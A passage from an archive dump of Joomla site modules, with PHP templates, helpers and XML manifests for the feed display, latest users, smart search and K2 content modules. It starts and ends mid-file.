		<ul class="newsfeed<?php echo $params->get('moduleclass_sfx'); ?>">
		<?php for ($i = 0, $max = min(count($feed), $params->get('rssitems', 3)); $i < $max; $i++) { ?>
			<?php
				$uri  = $feed[$i]->uri || !$feed[$i]->isPermaLink ? trim($feed[$i]->uri) : trim($feed[$i]->guid);
				$uri  = !$uri || stripos($uri, 'http') !== 0 ? $rssurl : $uri;
				$text = $feed[$i]->content !== '' ? trim($feed[$i]->content) : '';
			?>
				<li>
					<?php if (!empty($uri)) : ?>
						<span class="feed-link">
						<a href="<?php echo htmlspecialchars($uri, ENT_COMPAT, 'UTF-8'); ?>" target="_blank">
						<?php echo trim($feed[$i]->title); ?></a></span>
					<?php else : ?>
						<span class="feed-link"><?php echo trim($feed[$i]->title); ?></span>
					<?php endif; ?>
					<?php if ($params->get('rssitemdate', 0)) : ?>
						<div class="feed-item-date">
							<?php echo JHtml::_('date', $feed[$i]->publishedDate, JText::_('DATE_FORMAT_LC3')); ?>
						</div>
					<?php endif; ?>
					<?php if ($params->get('rssitemdesc', 1) && $text !== '') : ?>
						<div class="feed-item-description">
						<?php
							// Strip the images.
							$text = JFilterOutput::stripImages($text);
							$text = JHtml::_('string.truncate', $text, $params->get('word_count', 0));
							echo str_replace('&apos;', "'", $text);
						?>
						</div>
					<?php endif; ?>
				</li>
		<?php } ?>
		</ul>
	<?php } ?>
	</div>
	<?php }
}
mod_feed/src/Helper/FeedHelper.php000060400000001772150746134720013044 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_feed
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Feed\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Feed\FeedFactory;
use Joomla\CMS\Language\Text;

/**
 * Helper for mod_feed
 *
 * @since  1.5
 */
class FeedHelper
{
	/**
	 * Retrieve feed information
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 *
	 * @return  \Joomla\CMS\Feed\Feed|string
	 */
	public static function getFeed($params)
	{
		// Module params
		$rssurl = $params->get('rssurl', '');

		// Get RSS parsed object
		try
		{
			$feed   = new FeedFactory;
			$rssDoc = $feed->getFeed($rssurl);
		}
		catch (\Exception $e)
		{
			return Text::_('MOD_FEED_ERR_FEED_NOT_RETRIEVED');
		}

		if (empty($rssDoc))
		{
			return Text::_('MOD_FEED_ERR_FEED_NOT_RETRIEVED');
		}

		if ($rssDoc)
		{
			return $rssDoc;
		}
	}
}
mod_feed/mod_feed.xml000064400000011065150746134720010606 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_feed</name>
	<author>Joomla! Project</author>
	<creationDate>July 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_FEED_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_feed">mod_feed.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_feed.ini</language>
		<language tag="en-GB">en-GB.mod_feed.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_FEED_DISPLAY" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="rssurl"
					type="url"
					label="MOD_FEED_FIELD_RSSURL_LABEL"
					description="MOD_FEED_FIELD_RSSURL_DESC"
					size="50"
					filter="url"
					required="true"
					validate="url"
				/>

				<field
					name="rssrtl"
					type="radio"
					label="MOD_FEED_FIELD_RTL_LABEL"
					description="MOD_FEED_FIELD_RTL_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="rsstitle"
					type="radio"
					label="MOD_FEED_FIELD_RSSTITLE_LABEL"
					description="MOD_FEED_FIELD_RSSTITLE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="rssdesc"
					type="radio"
					label="MOD_FEED_FIELD_DESCRIPTION_LABEL"
					description="MOD_FEED_FIELD_DESCRIPTION_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="rssdate"
					type="radio"
					label="MOD_FEED_FIELD_DATE_LABEL"
					description="MOD_FEED_FIELD_DATE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="rssimage"
					type="radio"
					label="MOD_FEED_FIELD_IMAGE_LABEL"
					description="MOD_FEED_FIELD_IMAGE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="rssitems"
					type="number"
					label="MOD_FEED_FIELD_ITEMS_LABEL"
					description="MOD_FEED_FIELD_ITEMS_DESC"
					default="3"
					filter="integer"
				/>

				<field
					name="rssitemdesc"
					type="radio"
					label="MOD_FEED_FIELD_ITEMDESCRIPTION_LABEL"
					description="MOD_FEED_FIELD_ITEMDESCRIPTION_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="rssitemdate"
					type="radio"
					label="MOD_FEED_FIELD_ITEMDATE_LABEL"
					description="MOD_FEED_FIELD_ITEMDATE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="word_count"
					type="text"
					label="MOD_FEED_FIELD_WORDCOUNT_LABEL"
					description="MOD_FEED_FIELD_WORDCOUNT_DESC"
					size="6"
					default="0"
					filter="integer"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_feed/mod_feed.php000064400000001431150746134720010571 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_feed
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the feed functions only once
JLoader::register('ModFeedHelper', __DIR__ . '/helper.php');

$rssurl = $params->get('rssurl', '');
$rssrtl = $params->get('rssrtl', 0);

// Check if feed URL has been set
if (empty ($rssurl))
{
	echo '<div>';
	echo JText::_('MOD_FEED_ERR_NO_URL');
	echo '</div>';

	return;
}

$feed = ModFeedHelper::getFeed($params);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_feed', $params->get('layout', 'default'));
mod_users_latest/tmpl/default.php000064400000000755150746134720013251 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_users_latest
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<?php if (!empty($names)) : ?>
	<ul class="latestusers<?php echo $moduleclass_sfx; ?> mod-list" >
	<?php foreach ($names as $name) : ?>
		<li>
			<?php echo $name->username; ?>
		</li>
	<?php endforeach; ?>
	</ul>
<?php endif; ?>
mod_users_latest/src/Helper/UsersLatestHelper.php000060400000003362150746134720016266 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_users_latest
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\UsersLatest\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

/**
 * Helper for mod_users_latest
 *
 * @since  1.6
 */
class UsersLatestHelper
{
	/**
	 * Get users sorted by activation date
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 *
	 * @return  array  The array of users
	 *
	 * @since   1.6
	 */
	public static function getUsers($params)
	{
		$db    = Factory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName(['a.id', 'a.name', 'a.username', 'a.registerDate']))
			->order($db->quoteName('a.registerDate') . ' DESC')
			->from($db->quoteName('#__users', 'a'));
		$user = Factory::getUser();

		if (!$user->authorise('core.admin') && $params->get('filter_groups', 0) == 1)
		{
			$groups = $user->getAuthorisedGroups();

			if (empty($groups))
			{
				return array();
			}

			$query->leftJoin($db->quoteName('#__user_usergroup_map', 'm'), $db->quoteName('m.user_id') . ' = ' . $db->quoteName('a.id'))
				->leftJoin($db->quoteName('#__usergroups', 'ug'), $db->quoteName('ug.id') . ' = ' . $db->quoteName('m.group_id'))
				->whereIn($db->quoteName('ug.id'), $groups)
				->where($db->quoteName('ug.id') . ' <> 1');
		}

		$query->setLimit((int) $params->get('shownumber', 5));
		$db->setQuery($query);

		try
		{
			return (array) $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			Factory::getApplication()->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return array();
		}
	}
}
mod_users_latest/mod_users_latest.php000064400000001237150746134720014221 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_users_latest
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the latest functions only once
JLoader::register('ModUsersLatestHelper', __DIR__ . '/helper.php');

$shownumber      = $params->get('shownumber', 5);
$names           = ModUsersLatestHelper::getUsers($params);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_users_latest', $params->get('layout', 'default'));
mod_users_latest/mod_users_latest.xml000064400000005077150746134720014240 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_users_latest</name>
	<author>Joomla! Project</author>
	<creationDate>December 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_USERS_LATEST_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_users_latest">mod_users_latest.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_users_latest.ini</language>
		<language tag="en-GB">en-GB.mod_users_latest.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_USERS" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="shownumber"
					type="number"
					label="MOD_USERS_LATEST_FIELD_NUMBER_LABEL"
					description="MOD_USERS_LATEST_FIELD_NUMBER_DESC"
					default="5"
					filter="integer"
				/>

				<field
					name="filter_groups"
					type="radio"
					label="MOD_USERS_LATEST_FIELD_FILTER_GROUPS_LABEL"
					description="MOD_USERS_LATEST_FIELD_FILTER_GROUPS_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_finder/tmpl/default.php000064400000011040150746134720011770 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_SITE . '/components/com_finder/helpers/html');

JHtml::_('jquery.framework');
JHtml::_('formbehavior.chosen');
JHtml::_('bootstrap.tooltip');

// Load the smart search component language file.
$lang = JFactory::getLanguage();
$lang->load('com_finder', JPATH_SITE);

$suffix = $params->get('moduleclass_sfx');
$output = '<input type="text" name="q" id="mod-finder-searchword' . $module->id . '" class="search-query input-medium" size="'
	. $params->get('field_size', 20) . '" value="' . htmlspecialchars(JFactory::getApplication()->input->get('q', '', 'string'), ENT_COMPAT, 'UTF-8') . '"'
	. ' placeholder="' . JText::_('MOD_FINDER_SEARCH_VALUE') . '"/>';

$showLabel  = $params->get('show_label', 1);
$labelClass = (!$showLabel ? 'element-invisible ' : '') . 'finder' . $suffix;
$label      = '<label for="mod-finder-searchword' . $module->id . '" class="' . $labelClass . '">' . $params->get('alt_label', JText::_('JSEARCH_FILTER_SUBMIT')) . '</label>';

switch ($params->get('label_pos', 'left'))
{
	case 'top' :
		$output = $label . '<br />' . $output;
		break;

	case 'bottom' :
		$output .= '<br />' . $label;
		break;

	case 'right' :
		$output .= $label;
		break;

	case 'left' :
	default :
		$output = $label . $output;
		break;
}

if ($params->get('show_button', 0))
{
	$button = '<button class="btn btn-primary hasTooltip ' . $suffix . ' finder' . $suffix . '" type="submit" title="' . JText::_('MOD_FINDER_SEARCH_BUTTON') . '"><span class="icon-search icon-white"></span>' . JText::_('JSEARCH_FILTER_SUBMIT') . '</button>';

	switch ($params->get('button_pos', 'left'))
	{
		case 'top' :
			$output = $button . '<br />' . $output;
			break;

		case 'bottom' :
			$output .= '<br />' . $button;
			break;

		case 'right' :
			$output .= $button;
			break;

		case 'left' :
		default :
			$output = $button . $output;
			break;
	}
}

JHtml::_('stylesheet', 'com_finder/finder.css', array('version' => 'auto', 'relative' => true));

$script = "
jQuery(document).ready(function() {
	var value, searchword = jQuery('#mod-finder-searchword" . $module->id . "');

		// Get the current value.
		value = searchword.val();

		// If the current value equals the default value, clear it.
		searchword.on('focus', function ()
		{
			var el = jQuery(this);

			if (el.val() === '" . JText::_('MOD_FINDER_SEARCH_VALUE', true) . "')
			{
				el.val('');
			}
		});

		// If the current value is empty, set the previous value.
		searchword.on('blur', function ()
		{
			var el = jQuery(this);

			if (!el.val())
			{
				el.val(value);
			}
		});

		jQuery('#mod-finder-searchform" . $module->id . "').on('submit', function (e)
		{
			e.stopPropagation();
			var advanced = jQuery('#mod-finder-advanced" . $module->id . "');

			// Disable select boxes with no value selected.
			if (advanced.length)
			{
				advanced.find('select').each(function (index, el)
				{
					var el = jQuery(el);

					if (!el.val())
					{
						el.attr('disabled', 'disabled');
					}
				});
			}
		});";
/*
 * This segment of code sets up the autocompleter.
 */
if ($params->get('show_autosuggest', 1))
{
	JHtml::_('script', 'jui/jquery.autocomplete.min.js', array('version' => 'auto', 'relative' => true));

	$script .= "
	var suggest = jQuery('#mod-finder-searchword" . $module->id . "').autocomplete({
		serviceUrl: '" . JRoute::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component') . "',
		paramName: 'q',
		minChars: 1,
		maxHeight: 400,
		width: 300,
		zIndex: 9999,
		deferRequestBy: 500
	});";
}

$script .= '});';

JFactory::getDocument()->addScriptDeclaration($script);
?>

<div class="finder<?php echo $suffix; ?>">
	<form id="mod-finder-searchform<?php echo $module->id; ?>" action="<?php echo JRoute::_($route); ?>" method="get" class="form-search" role="search">
		<?php
		// Show the form fields.
		echo $output;
		?>

		<?php $show_advanced = $params->get('show_advanced', 0); ?>
		<?php if ($show_advanced == 2) : ?>
			<br />
			<a href="<?php echo JRoute::_($route); ?>"><?php echo JText::_('COM_FINDER_ADVANCED_SEARCH'); ?></a>
		<?php elseif ($show_advanced == 1) : ?>
			<div id="mod-finder-advanced<?php echo $module->id; ?>">
				<?php echo JHtml::_('filter.select', $query, $params); ?>
			</div>
		<?php endif; ?>
		<?php echo modFinderHelper::getGetFields($route, (int) $params->get('set_itemid', 0)); ?>
	</form>
</div>
mod_finder/src/Helper/FinderHelper.php000060400000004743150746134720013755 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Finder\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Finder\Administrator\Indexer\Query;
use Joomla\Utilities\ArrayHelper;

/**
 * Finder module helper.
 *
 * @since  2.5
 */
class FinderHelper
{
	/**
	 * Method to get hidden input fields for a get form so that control variables
	 * are not lost upon form submission.
	 *
	 * @param   string   $route      The route to the page. [optional]
	 * @param   integer  $paramItem  The menu item ID. (@since 3.1) [optional]
	 *
	 * @return  string  A string of hidden input form fields
	 *
	 * @since   2.5
	 */
	public static function getGetFields($route = null, $paramItem = 0)
	{
		// Determine if there is an item id before routing.
		$needId = !Uri::getInstance($route)->getVar('Itemid');

		$fields = array();
		$uri = Uri::getInstance(Route::_($route));
		$uri->delVar('q');

		// Create hidden input elements for each part of the URI.
		foreach ($uri->getQuery(true) as $n => $v)
		{
			$fields[] = '<input type="hidden" name="' . $n . '" value="' . $v . '">';
		}

		// Add a field for Itemid if we need one.
		if ($needId)
		{
			$id       = $paramItem ?: Factory::getApplication()->input->get('Itemid', '0', 'int');
			$fields[] = '<input type="hidden" name="Itemid" value="' . $id . '">';
		}

		return implode('', $fields);
	}

	/**
	 * Get Smart Search query object.
	 *
	 * @param   \Joomla\Registry\Registry  $params  Module parameters.
	 *
	 * @return  Query object
	 *
	 * @since   2.5
	 */
	public static function getQuery($params)
	{
		$request = Factory::getApplication()->input->request;
		$filter  = InputFilter::getInstance();

		// Get the static taxonomy filters.
		$options = array();
		$options['filter'] = ($request->get('f', 0, 'int') !== 0) ? $request->get('f', '', 'int') : $params->get('searchfilter');
		$options['filter'] = $filter->clean($options['filter'], 'int');

		// Get the dynamic taxonomy filters.
		$options['filters'] = $request->get('t', '', 'array');
		$options['filters'] = $filter->clean($options['filters'], 'array');
		$options['filters'] = ArrayHelper::toInteger($options['filters']);

		// Instantiate a query object.
		return new Query($options);
	}
}
mod_finder/mod_finder.xml000064400000012277150746134720011524 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_finder</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_FINDER_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_finder">mod_finder.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.mod_finder.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.mod_finder.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_SMART_SEARCH" />
	<config>
		<fields name="params" addfieldpath="/administrator/components/com_finder/models/fields">
			<fieldset name="basic">
				<field
					name="searchfilter"
					type="searchfilter"
					label="MOD_FINDER_FIELDSET_BASIC_SEARCHFILTER_LABEL"
					description="MOD_FINDER_FIELDSET_BASIC_SEARCHFILTER_DESCRIPTION"
					default=""
				/>

				<field
					name="show_autosuggest"
					type="radio"
					label="MOD_FINDER_FIELDSET_BASIC_AUTOSUGGEST_LABEL"
					description="MOD_FINDER_FIELDSET_BASIC_AUTOSUGGEST_DESCRIPTION"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="show_advanced"
					type="list"
					label="MOD_FINDER_FIELDSET_BASIC_SHOW_ADVANCED_LABEL"
					description="MOD_FINDER_FIELDSET_BASIC_SHOW_ADVANCED_DESCRIPTION"
					default="0"
					filter="integer"
					>
					<option value="2">MOD_FINDER_FIELDSET_BASIC_SHOW_ADVANCED_OPTION_LINK</option>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="field_size"
					type="number"
					label="MOD_FINDER_FIELDSET_ADVANCED_FIELD_SIZE_LABEL"
					description="MOD_FINDER_FIELDSET_ADVANCED_FIELD_SIZE_DESCRIPTION"
					default="25"
					filter="integer"
				/>

				<field
					name="show_label"
					type="radio"
					label="MOD_FINDER_FIELDSET_ADVANCED_SHOW_LABEL_LABEL"
					description="MOD_FINDER_FIELDSET_ADVANCED_SHOW_LABEL_DESCRIPTION"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="label_pos"
					type="list"
					label="MOD_FINDER_FIELDSET_ADVANCED_LABEL_POS_LABEL"
					description="MOD_FINDER_FIELDSET_ADVANCED_LABEL_POS_DESCRIPTION"
					default="left"
					>
					<option value="right">JGLOBAL_RIGHT</option>
					<option value="left">JGLOBAL_LEFT</option>
					<option value="top">MOD_FINDER_CONFIG_OPTION_TOP</option>
					<option value="bottom">MOD_FINDER_CONFIG_OPTION_BOTTOM</option>
				</field>

				<field
					name="alt_label"
					type="text"
					label="MOD_FINDER_FIELDSET_ADVANCED_ALT_LABEL"
					description="MOD_FINDER_FIELDSET_ADVANCED_ALT_DESCRIPTION"
				/>

				<field
					name="show_button"
					type="radio"
					label="MOD_FINDER_FIELDSET_ADVANCED_SHOW_BUTTON_LABEL"
					description="MOD_FINDER_FIELDSET_ADVANCED_SHOW_BUTTON_DESCRIPTION"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="button_pos"
					type="list"
					label="MOD_FINDER_FIELDSET_ADVANCED_BUTTON_POS_LABEL"
					description="MOD_FINDER_FIELDSET_ADVANCED_BUTTON_POS_DESCRIPTION"
					default="left"
					>
					<option value="right">JGLOBAL_RIGHT</option>
					<option value="left">JGLOBAL_LEFT</option>
					<option value="top">MOD_FINDER_CONFIG_OPTION_TOP</option>
					<option value="bottom">MOD_FINDER_CONFIG_OPTION_BOTTOM</option>
				</field>

				<field
					name="opensearch"
					type="radio"
					label="MOD_FINDER_FIELD_OPENSEARCH_LABEL"
					description="MOD_FINDER_FIELD_OPENSEARCH_DESCRIPTION"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="opensearch_title"
					type="text"
					label="MOD_FINDER_FIELD_OPENSEARCH_TEXT_LABEL"
					description="MOD_FINDER_FIELD_OPENSEARCH_TEXT_DESCRIPTION"
				/>

				<field
					name="set_itemid"
					type="menuitem"
					label="MOD_FINDER_FIELDSET_ADVANCED_SETITEMID_LABEL"
					description="MOD_FINDER_FIELDSET_ADVANCED_SETITEMID_DESCRIPTION"
					default="0"
					filter="integer"
					>
					<option value="0">MOD_FINDER_SELECT_MENU_ITEMID</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
					default=""
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_finder/mod_finder.php000064400000003413150746134720011503 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderHelperRoute', JPATH_SITE . '/components/com_finder/helpers/route.php');
JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/language.php');

// Include the helper.
JLoader::register('ModFinderHelper', __DIR__ . '/helper.php');

if (!defined('FINDER_PATH_INDEXER'))
{
	define('FINDER_PATH_INDEXER', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer');
}

JLoader::register('FinderIndexerQuery', FINDER_PATH_INDEXER . '/query.php');

// Check for OpenSearch
if ($params->get('opensearch', 1))
{
	/*
	This code intentionally commented
	$doc = JFactory::getDocument();
	$app = JFactory::getApplication();

	$ostitle = $params->get('opensearch_title', JText::_('MOD_FINDER_SEARCHBUTTON_TEXT') . ' ' . $app->get('sitename'));
	$doc->addHeadLink(
						JUri::getInstance()->toString(array('scheme', 'host', 'port')) . JRoute::_('&option=com_finder&format=opensearch'),
						'search', 'rel', array('title' => $ostitle, 'type' => 'application/opensearchdescription+xml')
					);
	*/
}

// Initialize module parameters.
$params->def('field_size', 20);

// Get the route.
$route = FinderHelperRoute::getSearchRoute($params->get('searchfilter', null));

// Load component language file.
FinderHelperLanguage::loadComponentLanguage();

// Load plugin language files.
FinderHelperLanguage::loadPluginLanguage();

// Get Smart Search query object.
$query = ModFinderHelper::getQuery($params);

require JModuleHelper::getLayoutPath('mod_finder', $params->get('layout', 'default'));
mod_k2_content/tmpl/Default/default.php000060400000017731150746170540014164 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;
?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2ItemsBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">

	<?php if($params->get('itemPreText')): ?>
	<p class="modulePretext"><?php echo $params->get('itemPreText'); ?></p>
	<?php endif; ?>

	<?php if(count($items)): ?>
  <ul>
    <?php foreach ($items as $key=>$item):	?>
    <li class="<?php echo ($key%2) ? "odd" : "even"; if(count($items)==$key+1) echo ' lastItem'; ?>">

      <!-- Plugins: BeforeDisplay -->
      <?php echo $item->event->BeforeDisplay; ?>

      <!-- K2 Plugins: K2BeforeDisplay -->
      <?php echo $item->event->K2BeforeDisplay; ?>

      <?php if($params->get('itemAuthorAvatar')): ?>
      <a class="k2Avatar moduleItemAuthorAvatar" rel="author" href="<?php echo $item->authorLink; ?>">
				<img src="<?php echo $item->authorAvatar; ?>" alt="<?php echo K2HelperUtilities::cleanHtml($item->author); ?>" style="width:<?php echo $avatarWidth; ?>px;height:auto;" />
			</a>
      <?php endif; ?>

      <?php if($params->get('itemTitle')): ?>
      <a class="moduleItemTitle" href="<?php echo $item->link; ?>"><?php echo $item->title; ?></a>
      <?php endif; ?>

      <?php if($params->get('itemAuthor')): ?>
      <div class="moduleItemAuthor">
	      <?php echo K2HelperUtilities::writtenBy($item->authorGender); ?>

				<?php if(isset($item->authorLink)): ?>
				<a rel="author" title="<?php echo K2HelperUtilities::cleanHtml($item->author); ?>" href="<?php echo $item->authorLink; ?>"><?php echo $item->author; ?></a>
				<?php else: ?>
				<?php echo $item->author; ?>
				<?php endif; ?>

				<?php if($params->get('userDescription')): ?>
				<?php echo $item->authorDescription; ?>
				<?php endif; ?>

			</div>
			<?php endif; ?>

      <!-- Plugins: AfterDisplayTitle -->
      <?php echo $item->event->AfterDisplayTitle; ?>

      <!-- K2 Plugins: K2AfterDisplayTitle -->
      <?php echo $item->event->K2AfterDisplayTitle; ?>

      <!-- Plugins: BeforeDisplayContent -->
